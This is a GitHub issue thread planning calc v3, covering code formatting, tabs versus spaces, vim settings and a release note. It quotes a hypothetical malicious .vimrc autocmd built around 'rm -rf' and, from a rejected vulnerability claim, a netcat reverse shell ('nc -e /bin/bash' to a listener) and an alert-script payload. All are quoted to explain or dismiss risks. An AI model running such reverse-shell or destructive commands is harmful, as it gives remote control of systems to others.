search

lcn2 / calc

C-style arbitrary precision calculator
http://www.isthe.com/chongo/tech/comp/calc/index.html
Other
359 stars 52 forks source link

Enhancement: plan for calc v3 #103

Open lcn2 opened 1 year ago

lcn2 commented 1 year ago

This is a placeholder for TODO items needed to have the release calc version 3 (after calc 2.15.1.x is released and stable). Think of this TOOD list as a planned set of changes that will come with calc v3

Things TODO when starting work on calc v3

Give calc the ability to perform I/O with programs it launches: I.e., core concepts relating to "pipes, forks, and I/O with other processes, etc."

See also pull request #153 that was created by @vike2000 for additional ideas.

MORE TODOs to be added over time.

lcn2 commented 10 months ago

clang-format is a command line tool bundled with clang (which is LLVM's C and C++ compiler). I haven't used it on large projects but it apparently works quite well.

We will look for clang-format: thanks for the suggestion @pmetzger

pmetzger commented 10 months ago

For what it's worth, I happen to like K&R style formatting (with four space indents, and no use of tabs in source files), but that's personal taste.

lcn2 commented 10 months ago

For what it's worth, I happen to like K&R style formatting (with four space indents, and no use of tabs in source files), but that's personal taste.

As do we.

UPDATE 0

Your desire of "no use of tabs in source files" is understandable, @pmetzger.

A side story about horizontal tabs and IBM 3270-style block mode terminals

Long ago when we worked for Amdahl on a Unix port to IBM compatible mainframes, where IBM 3270-style block mode terminals, the presence of horizontal tab in things like a Makefile, let alone C code, was a pain. Someone using one of those block mode terminals with the common block mode terminal editor of the day, when they edited a Makefile, would convert leading tabs into spaces. The common make(1) tool of that day would barf a a make rule when a command line did not start with a tab. And while someone hacked the UTS-make command to allow for a command lines to start with just a space, the makefile while fail for most non-UTS users.

Repairing the damage caused by IBM 3270-style block mode terminals was not fun. Even with diff -w, the automated build system would trigger usefulness recompiles. And some blame could be put in the common make(1) tool of that day, and blame could be put in the common common block mode terminal editor of the day, some blame could be put on the use of tab characters as well.

Common use of tabs today

A number of smart editors today convert leading whitespace into leading tabs (optionally followed by a sub-tab width number of spaces) by default. We learned that fighting the tab problem is not fun, nor a useful use of time.

Our use of vim(1) includes the following in our ~/.vimrc file:

" Set shift width to 4
:set sw=4

We do that simply because vertical tab stops being 8 spaces wide, is widely baked into many things everywhere. And yes, we know that some treat vertical tab stops differently. It is a mess. sigh

We could use a tool, as part of our release process, that would regularize the use of leading whitespace in calc source code, help files, documentation, Makefiles, etc. We could pick a convention about leading whitespace calc. But in doing so, we would be entering in a more modern version of above mentioned IBM 3270-style block mode terminal. This might involve code commits that are simply changes in whitespace, which is not fun either.

Escaping the tab key :-)

Our initial guess is to leave leading tab characters as they are and probably not fight the use of vertical tabs?

lcn2 commented 9 months ago

FYI: See comment 8421543 for a minor update on the above mentioned calc v3 plans.

pmetzger commented 9 months ago

BTW, I think this is probably the best explanation of the tabs and spaces controversy: https://www.jwz.org/doc/tabs-vs-spaces.html

The key insight is early on, that there are three things people care about: what does ASCII Code 9 do when it's in a file, how far in do you indent things, what happens in your text editor when you hit tab, and that these three things are distinct concerns. I think the whole thing is worth reading.

(I personally prefer code indented by four characters each time, I prefer that tabs not be used in files because different editors display them differently and we don't need to save a couple of bytes any more, and I prefer that the tab character in my editor inserts an appropriate number of spaces. Your tastes my vary, but I seem to generally have similar tastes to Jamie Zawiniski, the author of that post.)

lcn2 commented 7 months ago

BTW, I think this is probably the best explanation of the tabs and spaces controversy: https://www.jwz.org/doc/tabs-vs-spaces.html

The key insight is early on, that there are three things people care about: what does ASCII Code 9 do when it's in a file, how far in do you indent things, what happens in your text editor when you hit tab, and that these three things are distinct concerns. I think the whole thing is worth reading.

What you said in comment-1939127107, @pmetzger, has merit.

(I personally prefer code indented by four characters each time, I prefer that tabs not be used in files because different editors display them differently and we don't need to save a couple of bytes any more, and I prefer that the tab character in my editor inserts an appropriate number of spaces. Your tastes my vary, but I seem to generally have similar tastes to Jamie Zawiniski, the author of that post.)

We performed an experiment where we expanded all TABs into spaces via the expand(1) tool. With the exception of Makefiles, calc works as normal.

We know that some make(1) tools do allow for non-TAB rulesets, however this is NOT widespread. So the calc Makefiles would have to remain TAB-ed.

Comments welcome.

Requesting advice on vim settings

Any suggestions on how to configure vim(1) (sorry emacs users) to automatically keep TABs out of the calc source tree, except for calc Makefiles that must use TABs, would be appreciated.

In general we need, for all files under the calc source directory, except for files of the form Makefile, Makefile.* and *.mk, to have these vim(1) settings:

" Use 4-space indents
"
:set shiftwidth=4

" Intelligently use the tab key for indentation instead of for inserting tab characters
"
:set smarttab

" Use space characters, never tab characters
"
:set expandtab

" Set tab stops to be different from the indentation width.
"
:set tabstop=8

" Reduce the chance of tab characters masquerading as proper indents.
"
:set softtabstop=0

We do NOT want to do this for all files everywhere. We only what this for all the files in the calc source directory expect the Makefiles (files of the form Makefile, Makefile.* and *.mk). Thus we CANNOT simply add the above settings to our ~/.vimrc file.

We do NOT want to enable local directory .vimrc files in general as this is dangerous. Someone could provide a tarball with an evil .vimrcthat could do things like autocmd BufEnter * :silent! !echo rm -rf stuff.

It might be permissible to enable the .vimrc files for the calc source directory, but that could also be dangerous as some patch could alter that local .vimrcfile and create similar problems.

We do NOT want to have to remember to execute some magic vim command to set this stuff, before editing files under the calc source directory, we and others are likely to forget to execute such a magic command. We want it to be automatic.

Any suggestions?

Perhaps use of vim modules along the lines of local_vimrc or some other vim plugin alternative is the way to go?

pmetzger commented 7 months ago

Some variation of this, as a line at the top of a C file, will fix the issue for both vim and Emacs:

// -*- coding: utf-8; mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- vim:fenc=utf-8:ft=tcl:et:sw=4:ts=4:sts=4

It might need a touch of debugging. Some of it (like UTF-8) is optional; ASCII can be assumed if you want.

pmetzger commented 7 months ago

Oh, and yes, POSIX and tradition specify that tab is significant in Make and needs to be there to introduce build recipes. I remember Stu Feldman 35+ years ago quoting Macbeth and saying make was "from its mother's womb untimely ripped."

lcn2 commented 7 months ago

Some variation of this, as a line at the top of a C file, will fix the issue for both vim and Emacs:


// -*- coding: utf-8; mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- vim:fenc=utf-8:ft=tcl:et:sw=4:ts=4:sts=4

It might need a touch of debugging. Some of it (like UTF-8) is optional; ASCII can be assumed if you want.

While we appreciate the suggestion, @pmetzger, we don't think imbedding edit commands into the content of files is a viable solution.

Unfortunately, modifying the 1st line of a file does not always work for files where the 1st line has special meaning (like scripts) or whose entire content is used (no comment lines like help and pure text files).

Worse still, the problem of allowing the 1st line of a file to be interpreted as editor commands is a security problem, similar to the problem of allowing a .vimrc file in the local directory to reconfigure the editor.

Even if one uses a method whereby the editor configuration line simply needs to be early in the file (not necessary the first line), you still have the problem for files whose entire content is used (no comment lines like help and pure text files). Moreover you still have the security problems where imbedded editor commands can cause the editor to do bad things.

No, we don't think we should imbed editor commands into the content of calc source files.

Any other suggestions?

pmetzger commented 7 months ago

This is only a solution for C files. Of course, scripts probably don't matter as much for developers. BTW, note that these commands are always something vim and Emacs have available; both editors take pains to not allow arbitrary variables to be set. If it's a problem, it's a problem no matter what if you open a file you didn't write, someone can always set stuff this way.

However, you prefer an alternative. One might be just to document the code style you want and maybe provide lines for vim and emacs in your HACKING document or equivalent?

BTW, for Emacs, a user would want:

(setq-default indent-tabs-mode nil)

and to have c-basic-offset for cc mode set to 4.

lcn2 commented 6 months ago

We have added issue #151 for "automatic vim no TAB configuration for all calc source except makefiles".

lcn2 commented 5 months ago

As an OT (Off Topic) calc update:

We recently had someone claim that calc represented a RCE and SSTI security threat on the scale of 8.0 or of 10 because:

  1. They were able to to get calc to echo a string by doing:
; {{'<script>alert(1);</script>'}}
    "<script>alert(1);</script>"

They said:

"found that SSTI payload can run in the application. Although most strings cannot be recognized in the application, they can be injected through SSTI attack syntax."
  1. Because calc has a system builtin function:

They said:

"Arbitrary commands can be executed through the application. This should not be a computer function." (sic)

because they were able to execute in one window run:

$ nc -nlvp 5487

and in another window were calc was running:

; system("nc -e /bin/bash 192.168.75.129 5487")

and then were able to type in commands in the 1st window and have them execute in the calc sub-shell. They even tried to show a so-called "privilege escalation" because they ran sudo in the the nc link connected shell.

🫣

We rejected their RCE and SSTI security threat claim and suggested that the echo command, or typing commands into a shell, or executing a sub-shell from a shell was no different. That calc command is no more of a vulnerability than any other shell scripting language that is capable of printing strings or running commands in a sub-shell. Calc is no more of a vulnerability than bash, zsh, sh, csh, zsh or even interactive python or ...

We will see how this goes and how far they will try to push their assertion. They seem to be hoping to gain credit for "discovering" a CVE.

We have no intention of removing the system builtin function from calc in version 3 ...

... nor prevent calc from printing the value of strings that look "SSTI-like" :-)

We will keep you posted should they continue to try can press their claims.

sigh

pmetzger commented 5 months ago

@lcn2 You might want to monitor oss-security (see https://www.openwall.com/lists/oss-security/ )

pmetzger commented 5 months ago

(Generally, the complaint in question is equivalent to claiming that you can use the shell or a python interpreter to execute programs. As for the RCE claim, it's even more laughable.)

lcn2 commented 5 months ago

@lcn2 You might want to monitor oss-security (see https://www.openwall.com/lists/oss-security/ )

Thanks 🙏 @pmetzger

lcn2 commented 4 months ago

With issue #151 resolved (thanks @xexyl), we will now have vim(1) setting working for calc files where TABS are, in theory, disabled except for Makefiles and related *.mk files.

UPDATE 0

Now on with matters raised in issuecomment-187359521,

lcn2 commented 4 months ago

We have released calc v2.15.1.0.

The main purpose of this release is to create a spot from which the calc v3 fork can be made. We will let this stable release sit for a bit, just to be sure.

NOTE: We did not apply a tool such as clang-format to apply a consistent C code style in this release. We are still pondering the wisdom and value of such a change.

Comment welcome.

calc 2.15.1.0 release

The following are the changes in this release:

Converted all ASCII tabs to ASCII spaces using a 8 character
tab stop, for all files, except for all Makefiles (plus rpm.mk).
The command `git diff -w` reports no changes.  There is no
functionality change in calc: only ASCII tabs to ASCII spaces.

Fixed trailblank.  It was pruning . in its find search.
Added check for ASCII tabs is non-Makefiles.

This version will form the basis for the calc v2 to calc v3 fork.
xexyl commented 4 months ago

With issue #151 resolved (thanks @xexyl), we will now have vim(1) setting working for calc files where TABS are, in theory, disabled except for Makefiles and related *.mk files.

UPDATE 0

Now on with matters raised in issuecomment-187359521,

You are most welcome! I'm glad I could help ... left a comment about the vim version: from the sounds of it it seems it might have been something I wondered about but given that you closed the issue perhaps it's fine?

lcn2 commented 4 months ago

With issue #151 resolved (thanks @xexyl), we will now have vim(1) setting working for calc files where TABS are, in theory, disabled except for Makefiles and related *.mk files.

UPDATE 0

Now on with matters raised in issuecomment-187359521,

You are most welcome! I'm glad I could help ... left a comment about the vim version: from the sounds of it it seems it might have been something I wondered about but given that you closed the issue perhaps it's fine?

Thanks 🙏 and it's fine that it's fine, @xexyl 😁

xexyl commented 4 months ago

With issue #151 resolved (thanks @xexyl), we will now have vim(1) setting working for calc files where TABS are, in theory, disabled except for Makefiles and related *.mk files.

UPDATE 0

Now on with matters raised in issuecomment-187359521,

You are most welcome! I'm glad I could help ... left a comment about the vim version: from the sounds of it it seems it might have been something I wondered about but given that you closed the issue perhaps it's fine?

Thanks 🙏 and it's fine that it's fine, @xexyl 😁

Fine as in ... 1991/fine ? Totally OT but .. :-) .. I do have a remark about that but obviously over there.

Okay that's good. It can be amusing sometimes how a version change in a program can change the outcome of something, sometimes in surprising and often times in annoying ways. Glad it worked out and glad I could help!

lcn2 commented 1 month ago

NOTICE OF UNAVAILABILITY

Starting today, 2024 Oct 29, and increasing over the next several days, we will be less and less active online including in this GitHub repository. This is because we will in a few days, we will be working in an area of the world where there is little to no reliable Internet services and/or the Internet services will be too slow and power too limited to do much work.

There may be rare occasions where we do have access to online services, but such access will be limited to only essential activities. We might be able to even push through an update, but please don't count on it.

And we certainly won't have the opportunity to read messages and respond while we are "remote". So if you write something and we don't respond, you will hopefully remember this notice and understand.

We expect to start to return to normal Internet services by mid November and the goal of returning to full Internet service by 2024 Nov 21.

Best wishes 👋🏻.